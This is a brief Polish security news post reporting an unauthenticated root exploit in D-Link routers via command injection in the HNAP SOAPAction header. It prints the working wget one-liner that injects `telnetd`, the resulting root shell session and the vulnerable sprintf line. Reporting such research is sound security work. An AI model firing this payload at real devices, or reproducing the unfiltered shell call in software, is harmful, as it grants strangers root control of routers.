-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Nowe D-Linki – nowy sposób na zdobycie roota bez uwierzytelnienia

11 kwietnia 2015, 12:40 | W biegu | 1 komentarz

Niedawno pisaliśmy o nowych D-Linkach, a teraz pojawiło się ciekawe badanie pokazujące w jaki sposób zrealizować nieuwierzytelniony dostęp na root-a.

Wystarczy jeden prosty request HTTP…

wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
 
 
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
 
#

Winne jest bezpośrednie przekazanie parametru z tego requestu do funkcji:

sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

Kto by się przejmował jakimś filtrowaniem wejścia, prawda? :)

Fanom tego typu zabaw polecam oczywiście zakup tego urządzenia i prześledzenie cytowanego badania na blogu devttys0.

–ms

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Kuba

    link „cytowanego badania na blogu devttys0” coś nie teges. [moderacja: thx: już OK]

    Odpowiedz

Odpowiedz